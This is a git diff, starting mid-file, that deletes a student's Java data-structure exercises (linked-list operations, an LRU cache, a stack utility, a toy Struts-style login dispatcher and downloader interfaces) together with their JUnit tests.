-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-	 */
-	public  void removeFirstHalf(){
-		int end = size/2;
-		for(int i=0;i<end;i++){
-			remove(0);
-		}
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public  void remove(int i, int length){
-		if(i+length>size){
-			return;
-		}
-		for(int j =0;j<length;j++){
-			remove(i);
-		}
-		
-	}
-	/**
-	 * 假定当前链表和listB均包含已升序排列的整数
-	 * 从当前链表中取出那些listB所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public  int[] getElements(LinkedList list){
-		if(null==list||list.size==0){
-			return new int[0];
-		}
-		int[] result = new int[list.size];
-		int counter = 0;
-		for(int i=0;i<list.size;i++){
-			if((int)list.get(i)<this.size){
-				result[counter++] = (int) this.get((int)list.get(i));
-			}
-			
-		}
-		return Arrays.copyOf(result, counter);
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在listB中出现的元素 
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-		if(null==list||list.size==0){
-			return;
-		}
-		for(int i=0;i<list.size;i++){
-			for(int j=0;j<this.size;j++){
-				if(this.get(j).equals(list.get(i))){
-					this.remove(j--);
-				}
-			}
-		}
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues(){
-		if(size ==0){
-			return;
-		}
-		for(int i=0;i<this.size-1;i++){
-			for(int j=i+1;j<this.size;j++){
-				if(this.get(j).equals(this.get(i))){
-					this.remove(j--);
-				}
-			}
-		}
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-		if(min>max){
-			return;
-		}
-		for(int i=0;i<size;i++){
-			if((int)get(i)>min&&(int)get(i)<max){
-				remove(i--);
-			}
-		}
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		LinkedList result = new LinkedList();
-		if(null==list||list.size==0){
-			return result;
-		}
-		for(int i=0;i<this.size;i++){
-			for(int j=0;j<list.size;j++){
-				if(this.get(i).equals(list.get(j))){
-					result.add(this.get(i));
-				}
-			}
-		}
-		return result;
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/List.java b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/List.java
deleted file mode 100644
index f5825a0ea6..0000000000
--- a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package main;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index,Object o);
-	public Object remove(int index);
-	public Object get(int index);
-	public int size();
-}
diff --git a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/test/LinkedListTest.java b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/test/LinkedListTest.java
deleted file mode 100644
index ed4f759563..0000000000
--- a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/test/LinkedListTest.java
+++ /dev/null
@@ -1,251 +0,0 @@
-package test;
-
-import static org.junit.Assert.*;
-import org.junit.Before;
-import org.junit.Test;
-
-import main.LinkedList;
-
-public class LinkedListTest {
-	private LinkedList list;
-	@Before
-	public void setUp() throws Exception {
-		list = new LinkedList();
-	}
-
-	@Test
-	public void testReverse() {
-		list.add(3);
-		list.add(2);
-		list.add(1);
-		list.add(0);
-		int[] expected = {0,1,2,3};
-		list.reverse();
-		for(int i=0;i<list.size();i++){
-			assertEquals(expected[i], list.get(i));
-		}
-	}
-
-	@Test
-	public void testRemoveFirstHalf() {
-		list.add(3);
-		list.add(2);
-		list.add(1);
-		list.add(0);
-		int[] expected = {1,0};
-		list.removeFirstHalf();
-		for(int i=0;i<list.size();i++){
-			assertEquals(expected[i], list.get(i));
-		}
-		
-		list = new LinkedList();
-		list.add(4);
-		list.add(3);
-		list.add(2);
-		list.add(1);
-		list.add(0);
-		int[] expected1 = {2,1,0};
-		list.removeFirstHalf();
-		for(int i=0;i<list.size();i++){
-			assertEquals(expected1[i], list.get(i));
-		}
-		
-	}
-
-	@Test
-	public void testRemoveIntInt() {
-		list.add(3);
-		list.add(2);
-		list.add(1);
-		list.add(0);
-		int[] expected = {3,0};
-		list.remove(1,2);
-		for(int i=0;i<list.size();i++){
-			assertEquals(expected[i], list.get(i));
-		}
-		
-		list = new LinkedList();
-		list.add(4);
-		list.add(3);
-		list.add(2);
-		list.add(1);
-		list.add(0);
-		list.remove(0,8);
-		int[] expected1 = {4,3,2,1,0};
-		for(int i=0;i<list.size();i++){
-			assertEquals(expected1[i], list.get(i));
-		}
-	}
-
-	@Test
-	public void testGetElements() {
-		list.add(11);
-		list.add(101);
-		list.add(201);
-		list.add(301);
-		list.add(401);
-		list.add(501);
-		list.add(601);
-		list.add(701);
-		LinkedList listB = new LinkedList();
-		listB.add(1);
-		listB.add(3);
-		listB.add(4);
-		listB.add(6);
-		int[] expected = {101,301,401,601};
-		int[] array = list.getElements(listB);
-		for(int i=0;i<array.length;i++){
-			assertEquals(expected[i], array[i]);
-		}
-		
-		list = new LinkedList();
-		list.add(11);
-		list.add(101);
-		list.add(201);
-		list.add(301);
-		list.add(401);
-		list.add(501);
-		list.add(601);
-		list.add(701);
-		listB = new LinkedList();
-		listB.add(1);
-		listB.add(3);
-		listB.add(100);
-		listB.add(101);
-		int[] expected1 = {101,301};
-		int[] array1 = list.getElements(listB);
-		for(int i=0;i<array1.length;i++){
-			assertEquals(expected1[i], array1[i]);
-		}
-		
-		list = new LinkedList();
-		list.add(11);
-		list.add(101);
-		list.add(201);
-		list.add(301);
-		list.add(401);
-		list.add(501);
-		list.add(601);
-		list.add(701);
-		listB = new LinkedList();
-		int[] array2 = list.getElements(listB);
-		assertEquals(0, array2.length);
-		
-		
-	}
-
-	@Test
-	public void testSubtract() {
-		list.add(11);
-		list.add(101);
-		list.add(201);
-		list.add(301);
-		list.add(401);
-		list.add(501);
-		list.add(601);
-		list.add(701);
-		LinkedList listB = new LinkedList();
-		listB.add(11);
-		listB.add(201);
-		listB.add(401);
-		listB.add(801);
-		int[] expected = {101,301,501,601,701};
-		list.subtract(listB);
-		for(int i=0;i<list.size();i++){
-			assertEquals(expected[i], list.get(i));
-		}
-		
-		list = new LinkedList();
-		list.add(101);
-		list.add(201);
-		list.add(301);
-		listB = new LinkedList();
-		int[] expected1 = {101,201,301};
-		list.subtract(listB);
-		for(int i=0;i<list.size();i++){
-			assertEquals(expected1[i], list.get(i));
-		}
-	}
-
-	@Test
-	public void testRemoveDuplicateValues() {
-		list.add(1);
-		list.add(1);
-		list.add(2);
-		list.add(2);
-		list.add(3);
-		list.add(3);
-		list.add(4);
-		list.add(4);
-		int[] expected = {1,2,3,4};
-		list.removeDuplicateValues();
-		for(int i=0;i<list.size();i++){
-			assertEquals(expected[i], list.get(i));
-		}
-		
-		list = new LinkedList();
-		list.add(1);
-		list.add(2);
-		list.add(3);
-		list.add(4);
-		int[] expected1 = {1,2,3,4};
-		list.removeDuplicateValues();
-		for(int i=0;i<list.size();i++){
-			assertEquals(expected1[i], list.get(i));
-		}
-	}
-
-	@Test
-	public void testRemoveRange() {
-		list.add(1);
-		list.add(2);
-		list.add(3);
-		list.add(4);
-		list.add(5);
-		list.add(6);
-		list.add(7);
-		int[] expected = {1,7};
-		list.removeRange(1, 7);
-		for(int i=0;i<list.size();i++){
-			assertEquals(expected[i], list.get(i));
-		}
-		
-		list = new LinkedList();
-		list.add(1);
-		list.add(2);
-		list.add(3);
-		list.add(4);
-		list.add(5);
-		list.add(6);
-		list.add(7);
-		int[] expected1 = {1,2,3,4,5,6,7};
-		list.removeRange(0,1);
-		for(int i=0;i<list.size();i++){
-			assertEquals(expected1[i], list.get(i));
-		}
-	}
-
-	@Test
-	public void testIntersection() {
-		list.add(11);
-		list.add(101);
-		list.add(201);
-		list.add(301);
-		list.add(401);
-		list.add(501);
-		list.add(601);
-		list.add(701);
-		LinkedList listB = new LinkedList();
-		listB.add(11);
-		listB.add(33);
-		listB.add(201);
-		listB.add(401);
-		listB.add(801);
-		int[] expected = {11,201,401};
-		LinkedList result=list.intersection(listB);
-		for(int i=0;i<result.size();i++){
-			assertEquals(expected[i], result.get(i));
-		}
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/utils/ListUtils.java b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/utils/ListUtils.java
deleted file mode 100644
index 82b62d462c..0000000000
--- a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/utils/ListUtils.java
+++ /dev/null
@@ -1,11 +0,0 @@
-package utils;
-
-public class ListUtils {
-	public static boolean CheckIndexInRange(int start, int end, int index) {
-		if (index >= start && index <= end) {
-			return true;
-		}
-		throw new IndexOutOfBoundsException();
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/04_LRU/src/main/LRUPageFrame.java b/group23/1323434545/work_DataStructure/04_LRU/src/main/LRUPageFrame.java
deleted file mode 100644
index b9e7bc9c79..0000000000
--- a/group23/1323434545/work_DataStructure/04_LRU/src/main/LRUPageFrame.java
+++ /dev/null
@@ -1,117 +0,0 @@
-package main;
-
-public class LRUPageFrame {
-
-	private static class Node {
-
-		Node prev;
-		Node next;
-		int pageNum;
-
-		Node() {
-		}
-	}
-
-	private int capacity;
-	private int currentSize;
-	private Node first;// 链表头
-	private Node last;// 链表尾
-
-	public LRUPageFrame(int capacity) {
-		this.capacity = capacity;
-		this.currentSize = 0;
-	}
-
-	/**
-	 * 获取缓存中的对象
-	 * 
-	 * @param pageNum
-	 */
-	public void access(int pageNum) {
-		if (first == null && last == null) {
-			first = new Node();
-			first.pageNum = pageNum;
-			last = first;
-			currentSize++;
-			return;
-		}
-		Node tagNode = find(pageNum);
-		if (tagNode != null) {
-			moveExistingNodeToHead(tagNode);
-			return;
-		}
-		Node node = new Node();
-		node.pageNum = pageNum;
-		addNewNodeToHead(node);
-
-	}
-
-	private void addNewNodeToHead(Node node) {
-		if (currentSize == capacity) {
-			removeLast();
-		}
-		Node temp = first;
-		temp.prev = node;
-		node.next = temp;
-		first = node;
-		currentSize++;
-	}
-
-	private Node find(int data) {
-		Node node = first;
-		while (node != null) {
-			if (node.pageNum == data) {
-				return node;
-			}
-			node = node.next;
-		}
-		return null;
-	}
-
-	/**
-	 * 删除链表尾部节点，表示删除最小使用的缓存对象
-	 */
-	private void removeLast() {
-		Node temp = last.prev;
-		temp.next = null;
-		last = temp;
-		currentSize--;
-	}
-
-	/**
-	 * 移动到表头，表示这个节点是最新使用过的
-	 */
-	private void moveExistingNodeToHead(Node node) {
-		if (node.prev == null) {
-			return;
-		}
-		Node prev = node.prev;
-		Node next = node.next;
-		if (next == null) {
-			last = prev;
-		}
-		prev.next = next;
-		if (next != null) {
-			next.prev = prev;
-		}
-		Node temp = first;
-		temp.prev = node;
-		node.prev = null;
-		node.next = temp;
-		first = node;
-	}
-
-	public String toString() {
-		StringBuilder sb = new StringBuilder();
-		Node node = first;
-		while (node != null) {
-			sb.append(node.pageNum);
-			node = node.next;
-			if (node != null) {
-				sb.append(",");
-			}
-		}
-		return sb.toString();
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/04_LRU/src/test/LRUPageFrameTest.java b/group23/1323434545/work_DataStructure/04_LRU/src/test/LRUPageFrameTest.java
deleted file mode 100644
index 02d1461149..0000000000
--- a/group23/1323434545/work_DataStructure/04_LRU/src/test/LRUPageFrameTest.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Test;
-
-import main.LRUPageFrame;
-
-public class LRUPageFrameTest {
-
-	@Test
-	public void testAccess() {
-		LRUPageFrame pf = new LRUPageFrame(3);
-		pf.access(7);
-		pf.access(0);
-		pf.access(1);
-		assertEquals("1,0,7", pf.toString());
-		pf.access(2);
-		assertEquals("2,1,0", pf.toString());
-		pf.access(0);
-		assertEquals("0,2,1", pf.toString());
-		pf.access(0);
-		assertEquals("0,2,1", pf.toString());
-		pf.access(3);
-		assertEquals("3,0,2", pf.toString());
-		pf.access(0);
-		assertEquals("0,3,2", pf.toString());
-		pf.access(4);
-		assertEquals("4,0,3", pf.toString());
-		pf.access(5);
-		assertEquals("5,4,0", pf.toString());
-
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ArrayList.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ArrayList.java
deleted file mode 100644
index cb3e96bb69..0000000000
--- a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ArrayList.java
+++ /dev/null
@@ -1,75 +0,0 @@
-package main;
-
-import java.util.Arrays;
-
-public class ArrayList{
-	private Object[] elementData = new Object[10];
-	private int size;
-
-	public void add(Object o) {
-		add(size, o);
-
-	}
-
-	public void add(int index, Object o) {
-		// 检查是否越界
-		ListUtils.CheckIndexInRange(0, size, index);
-		if (size == elementData.length) {
-			elementData = Arrays.copyOf(elementData, elementData.length + 10);
-		}
-		if (index < size) {
-			for (int i = size; i > index; i--) {
-				elementData[i] = elementData[i - 1];
-			}
-		}
-		elementData[index] = o;
-		size++;
-	}
-
-	public Object remove(int index) {
-		ListUtils.CheckIndexInRange(0, size - 1, index);
-		Object tag = elementData[index];
-		for (int i = index; i < size - 1; i++) {
-			elementData[i] = elementData[i + 1];
-		}
-		elementData[size - 1] = null;
-		size--;
-		return tag;
-
-	}
-
-	public Object get(int index) {
-		ListUtils.CheckIndexInRange(0, size - 1, index);
-		return elementData[index];
-
-	}
-
-	public int size() {
-		return size;
-	}
-
-	public Iterator iterator() {
-		return new Iterator() {
-			private int cursor;
-
-			@Override
-			public boolean hasNext() {
-				if (size > 0) {
-					return cursor < size;
-				} else {
-					return false;
-				}
-
-			}
-
-			@Override
-			public Object next() {
-				Object tag = get(cursor);
-				cursor++;
-				return tag;
-			}
-		};
-
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Iterator.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Iterator.java
deleted file mode 100644
index 4a052a8646..0000000000
--- a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Iterator.java
+++ /dev/null
@@ -1,6 +0,0 @@
-package main;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ListUtils.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ListUtils.java
deleted file mode 100644
index 1a52071c8b..0000000000
--- a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ListUtils.java
+++ /dev/null
@@ -1,11 +0,0 @@
-package main;
-
-public class ListUtils {
-	public static boolean CheckIndexInRange(int start, int end, int index) {
-		if (index >= start && index <= end) {
-			return true;
-		}
-		throw new IndexOutOfBoundsException();
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Stack.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Stack.java
deleted file mode 100644
index bd489f7a98..0000000000
--- a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Stack.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package main;
-
-public class Stack {
-	private ArrayList list = new ArrayList();
-
-	public void push(Object o) {
-		list.add(o);
-	}
-
-	public Object pop() {
-		return list.remove(list.size() - 1);
-	}
-
-	public Object peek() {
-		return list.get(list.size() - 1);
-	}
-
-	public boolean isEmpty() {
-		return list.size() == 0;
-	}
-
-	public int size() {
-		return list.size();
-	}
-}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/StackUtil.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/StackUtil.java
deleted file mode 100644
index 7267563541..0000000000
--- a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/StackUtil.java
+++ /dev/null
@@ -1,110 +0,0 @@
-package main;
-
-import java.util.Arrays;
-
-public class StackUtil {
-
-	/**
-	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 */
-	public static void reverse(Stack s) {
-		Stack stack1 = new Stack();
-		while (!s.isEmpty()) {
-			stack1.push(s.pop());
-		}
-		Stack stack2 = new Stack();
-		while (!stack1.isEmpty()) {
-			stack2.push(stack1.pop());
-		}
-		while (!stack2.isEmpty()) {
-			s.push(stack2.pop());
-		}
-
-	}
-
-	/**
-	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * 
-	 * @param o
-	 */
-	public static void remove(Stack s, Object o) {
-		Stack stack = new Stack();
-		while (!s.isEmpty()) {
-			stack.push(s.pop());
-		}
-		while (!stack.isEmpty()) {
-			Object temp = stack.pop();
-			if (!o.equals(temp)) {
-				s.push(temp);
-			}
-		}
-
-	}
-
-	/**
-	 * 从栈顶取得len个元素, 原来的栈中元素保持不变 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty，
-	 * 可以使用另外一个栈来辅助
-	 * 
-	 * @param len
-	 * @return
-	 */
-	public static Object[] getTop(Stack s, int len) {
-		if (len < 0) {
-			return new Object[0];
-		}
-		Object[] objArray = new Object[len];
-		int i = 0;
-		for (; i < len; i++) {
-			if (s.isEmpty()) {
-				break;
-			}
-			objArray[i] = s.pop();
-		}
-		objArray = Arrays.copyOf(objArray, i);
-		for (int j = objArray.length - 1; j >= 0; j--) {
-			s.push(objArray[j]);
-		}
-		return objArray;
-	}
-
-	/**
-	 * 字符串s 可能包含这些字符： ( ) [ ] { }, a,b,c... x,yz 使用堆栈检查字符串s中的括号是不是成对出现的。 例如s =
-	 * "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true 如果 s = "([b{x]y})",
-	 * 则该字符串中的括号不是成对出现的， 该方法返回false;
-	 * 
-	 * @param s
-	 * @return
-	 */
-	public static boolean isValidPairs(String s) {
-		String[] array = s.split("");
-		Stack stack = new Stack();
-		for (String s1 : array) {
-			if ("{[()]}".contains(s1)) {
-				if (!stack.isEmpty()) {
-					if (")]}".contains(s1)) {
-						if (s1.replace(")", "(").equals(stack.peek().toString())
-								|| s1.replace("]", "[").equals(stack.peek().toString())
-								|| s1.replace("}", "{").equals(stack.peek().toString())) {
-							stack.pop();
-						} else {
-							return false;
-						}
-					} else {
-						stack.push(s1);
-					}
-				} else {
-					if (")]}".contains(s1)) {
-						return false;
-					}
-					stack.push(s1);
-				}
-			}
-		}
-		if (stack.isEmpty()) {
-			return true;
-		}
-		return false;
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/test/StackUtilTest.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/test/StackUtilTest.java
deleted file mode 100644
index d2eb27dad7..0000000000
--- a/group23/1323434545/work_DataStructure/05_StackUtil/src/test/StackUtilTest.java
+++ /dev/null
@@ -1,93 +0,0 @@
-package test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import main.Stack;
-import main.StackUtil;
-
-public class StackUtilTest {
-	Stack stack;
-
-	@Before
-	public void setUp() throws Exception {
-		stack = new Stack();
-	}
-
-	@Test
-	public void testReverse() {
-		stack.push(1);
-		stack.push(2);
-		stack.push(3);
-		stack.push(4);
-		stack.push(5);
-		StackUtil.reverse(stack);
-		int[] expected = { 1, 2, 3, 4, 5 };
-		for (int i = 0; !stack.isEmpty(); i++) {
-			assertEquals(expected[i], stack.pop());
-		}
-	}
-
-	@Test
-	public void testRemove() {
-		stack.push(1);
-		stack.push(2);
-		stack.push(3);
-		stack.push(4);
-		stack.push(5);
-		StackUtil.remove(stack, 9);
-		int[] expected = { 5, 4, 3, 2, 1 };
-		for (int i = 0; !stack.isEmpty(); i++) {
-			assertEquals(expected[i], stack.pop());
-		}
-
-		stack.push(1);
-		stack.push(2);
-		stack.push(3);
-		stack.push(4);
-		stack.push(5);
-		StackUtil.remove(stack, 3);
-		int[] expected1 = { 5, 4, 2, 1 };
-		for (int i = 0; !stack.isEmpty(); i++) {
-			assertEquals(expected1[i], stack.pop());
-		}
-	}
-
-	@Test
-	public void testGetTop() {
-		stack.push(1);
-		stack.push(2);
-		stack.push(3);
-		stack.push(4);
-		stack.push(5);
-		Object[] result = StackUtil.getTop(stack, 3);
-		int[] expected = { 5, 4, 3 };
-		for (int i = 0; i < result.length; i++) {
-			assertEquals(expected[i], result[i]);
-		}
-
-		result = StackUtil.getTop(stack, 9);
-		int[] expected1 = { 5, 4, 3, 2, 1 };
-		for (int i = 0; i < result.length; i++) {
-			assertEquals(expected1[i], result[i]);
-		}
-
-		result = StackUtil.getTop(stack, -1);
-		assertEquals(0, result.length);
-	}
-
-	@Test
-	public void testIsValidPairs() {
-		assertTrue(StackUtil.isValidPairs("12wed333"));
-		assertTrue(StackUtil.isValidPairs("1{2[3(4)5]6}"));
-		assertTrue(StackUtil.isValidPairs("{{{[[[((()))]]]}}}"));
-		assertTrue(StackUtil.isValidPairs("{}[]()([{}])"));
-		assertFalse(StackUtil.isValidPairs(")abcd{}[]()"));
-		assertFalse(StackUtil.isValidPairs("a{b[c}d]()"));
-		assertFalse(StackUtil.isValidPairs("a{b)c}[]{}"));
-		assertFalse(StackUtil.isValidPairs("{}[](()"));
-	}
-
-}
diff --git a/group23/1323434545/work_Other/01_litestruts/src/main/LoginAction.java b/group23/1323434545/work_Other/01_litestruts/src/main/LoginAction.java
deleted file mode 100644
index 4f48122d92..0000000000
--- a/group23/1323434545/work_Other/01_litestruts/src/main/LoginAction.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package main;
-
-public class LoginAction {
-	private String name;
-	private String password;
-	private String message;
-
-	public String getName() {
-		return name;
-	}
-
-	public String getPassword() {
-		return password;
-	}
-
-	public String execute() {
-		if ("test".equals(name) && "1234".equals(password)) {
-			this.message = "login successful";
-			return "success";
-		}
-		this.message = "login failed,please check your user/pwd";
-		return "fail";
-	}
-
-	public void setName(String name) {
-		this.name = name;
-	}
-
-	public void setPassword(String password) {
-		this.password = password;
-	}
-
-	public String getMessage() {
-		return this.message;
-	}
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/01_litestruts/src/main/Struts.java b/group23/1323434545/work_Other/01_litestruts/src/main/Struts.java
deleted file mode 100644
index 5cd2261413..0000000000
--- a/group23/1323434545/work_Other/01_litestruts/src/main/Struts.java
+++ /dev/null
@@ -1,71 +0,0 @@
-package main;
-
-import java.io.File;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Method;
-import java.util.Iterator;
-import java.util.Map;
-
-import org.dom4j.Document;
-import org.dom4j.DocumentException;
-import org.dom4j.Element;
-import org.dom4j.io.SAXReader;
-
-public class Struts {
-	/*
-	 * 
-	 * 0. 读取配置文件struts.xml
-	 * 
-	 * 1. 根据actionName找到相对应的class ， 例如LoginAction, 通过反射实例化（创建对象）
-	 * 据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 ("name"="test" ,
-	 * "password"="1234") , 那就应该调用 setName和setPassword方法
-	 * 
-	 * 2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-	 * 
-	 * 3. 通过反射找到对象的所有getter方法（例如 getMessage）, 通过反射来调用， 把值和属性形成一个HashMap , 例如
-	 * {"message": "登录成功"} , 放到View对象的parameters
-	 * 
-	 * 4. 根据struts.xml中的 <result> 配置,以及execute的返回值， 确定哪一个jsp， 放到View对象的jsp字段中。
-	 * 
-	 */
-
-	@SuppressWarnings({ "rawtypes", "unchecked" })
-	public static View runAction(String actionName, Map<String, String> parameters)
-			throws DocumentException, ReflectiveOperationException, SecurityException {
-		View view = null;
-		SAXReader reader = new SAXReader();
-		Document document = reader.read(new File("./xml/struts.xml"));
-		Element root = document.getRootElement();
-		for (Iterator iterator = (Iterator) root.elementIterator("action"); iterator.hasNext();) {
-			Element actionElement = (Element) iterator.next();
-			String actionElementName = actionElement.attributeValue("name");
-			if (actionElementName.equals(actionName)) {
-				Class c = Class.forName(actionElement.attributeValue("class"));
-				Constructor con = c.getConstructor();
-				Object o = con.newInstance();
-				Method setName = c.getMethod("setName", String.class);
-				setName.invoke(o, parameters.get("name"));
-				Method setPassword = c.getMethod("setPassword", String.class);
-				setPassword.invoke(o, parameters.get("password"));
-				Method execute = c.getMethod("execute");
-				String resultStr = execute.invoke(o).toString();
-
-				for (iterator = actionElement.elementIterator("result"); iterator.hasNext();) {
-					Element resultElement = (Element) iterator.next();
-					if (resultElement.attributeValue("name").equals(resultStr)) {
-						view = new View();
-						parameters.put("name", c.getMethod("getName").invoke(o).toString());
-						parameters.put("password", c.getMethod("getPassword").invoke(o).toString());
-						parameters.put("message", c.getMethod("getMessage").invoke(o).toString());
-						view.setJsp(resultElement.getStringValue());
-						view.setParameters(parameters);
-					}
-				}
-			}
-
-		}
-		return view;
-
-	}
-
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/01_litestruts/src/main/View.java b/group23/1323434545/work_Other/01_litestruts/src/main/View.java
deleted file mode 100644
index 93c37fd966..0000000000
--- a/group23/1323434545/work_Other/01_litestruts/src/main/View.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package main;
-
-import java.util.Map;
-
-@SuppressWarnings("rawtypes")
-public class View {
-	private String jsp;
-	private Map parameters;
-
-	public String getJsp() {
-		return jsp;
-	}
-
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-
-	public Map getParameters() {
-		return parameters;
-	}
-
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/01_litestruts/src/test/StrutsTest.java b/group23/1323434545/work_Other/01_litestruts/src/test/StrutsTest.java
deleted file mode 100644
index 836897b221..0000000000
--- a/group23/1323434545/work_Other/01_litestruts/src/test/StrutsTest.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package test;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.dom4j.DocumentException;
-import org.junit.Assert;
-import org.junit.Test;
-
-import main.Struts;
-import main.View;
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		String actionName = "login";
-		Map<String, String> params = new HashMap<String, String>();
-		params.put("name", "test");
-		params.put("password", "1234");
-		View view = null;
-		try {
-			view = Struts.runAction(actionName, params);
-		} catch (SecurityException e) {
-			e.printStackTrace();
-		} catch (DocumentException e) {
-			e.printStackTrace();
-		} catch (ReflectiveOperationException e) {
-			e.printStackTrace();
-		}
-		Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-		Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String, String> params = new HashMap<String, String>();
-		params.put("name", "tes");
-		params.put("password", "1234");
-		View view = null;
-		try {
-			view = Struts.runAction(actionName, params);
-		} catch (SecurityException e) {
-			e.printStackTrace();
-		} catch (DocumentException e) {
-			e.printStackTrace();
-		} catch (ReflectiveOperationException e) {
-			e.printStackTrace();
-		}
-		Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-		Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-
-}
diff --git a/group23/1323434545/work_Other/02_downloader/src/api/Connection.java b/group23/1323434545/work_Other/02_downloader/src/api/Connection.java
deleted file mode 100644
index 5b41847037..0000000000
--- a/group23/1323434545/work_Other/02_downloader/src/api/Connection.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package api;
-
-import java.io.IOException;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-}
diff --git a/group23/1323434545/work_Other/02_downloader/src/api/ConnectionException.java b/group23/1323434545/work_Other/02_downloader/src/api/ConnectionException.java
deleted file mode 100644
index 8840863aba..0000000000
--- a/group23/1323434545/work_Other/02_downloader/src/api/ConnectionException.java
+++ /dev/null
@@ -1,6 +0,0 @@
-package api;
-
-@SuppressWarnings("serial")
-public class ConnectionException extends Exception{
-
-}
diff --git a/group23/1323434545/work_Other/02_downloader/src/api/ConnectionManager.java b/group23/1323434545/work_Other/02_downloader/src/api/ConnectionManager.java
deleted file mode 100644
index 4f297a48ef..0000000000
--- a/group23/1323434545/work_Other/02_downloader/src/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/02_downloader/src/api/DownloadListener.java b/group23/1323434545/work_Other/02_downloader/src/api/DownloadListener.java
